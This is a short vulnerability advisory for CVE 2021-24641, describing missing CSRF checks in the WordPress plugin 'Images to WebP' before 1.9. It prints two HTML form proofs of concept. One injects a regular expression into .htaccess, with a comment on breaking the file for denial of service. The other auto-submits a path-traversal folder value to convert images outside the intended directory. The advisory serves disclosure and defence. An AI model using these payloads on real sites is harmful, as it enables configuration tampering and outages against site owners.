Images to WebP < 1.9 – Multiple Cross Site Request Forgery (CSRF) | CVE 2021-24641

Description

The plugin does not have CSRF checks in place when performing some administrative actions, which could result in modification of plugin settings, Denial-of-Service, as well as arbitrary image conversion

Proof of Concept

The PoC varies based on the endpoint targeted. Here is one example that will modify the website's .htaccess file when the form is submitted by a logged in user.

<form action="https://example.com/wp-admin/upload.php?page=images-to-webp.php&tab=general" method="post" enctype="application/x-www-form-urlencoded" id="form">
<input type="hidden" name="plugin_sent" value="1">
<input type="hidden" name="webp_quality" value="50">
<input type="hidden" name="upload_convert" value="1">
<input type="hidden" name="method" value="gd">
<input type="hidden" name="extensions[]" value="jpg">
<!-- Inject regular expression. You can also add invalid regex to make malformed .htaccess file and DoS. -->
<input type="hidden" name="extensions[]" value="INJECT_VALUE_HERE)|(.*">
<input type=submit>
</form>

This converts file on C:\xampp\htdocs\png_images if WordPress is installed on C:\xampp\htdocs\wordpress\, the path is relative to wp-content
<form action="https://example.com/wp-admin/admin-ajax.php" method="post" enctype="application/x-www-form-urlencoded" id="form">
<input type="hidden" name="action" value="convert_old_images">
<input type="hidden" name="only_missing" value="0">
<input type="hidden" name="folder" value="../../png_images">
</form>
<script>form.submit()</form>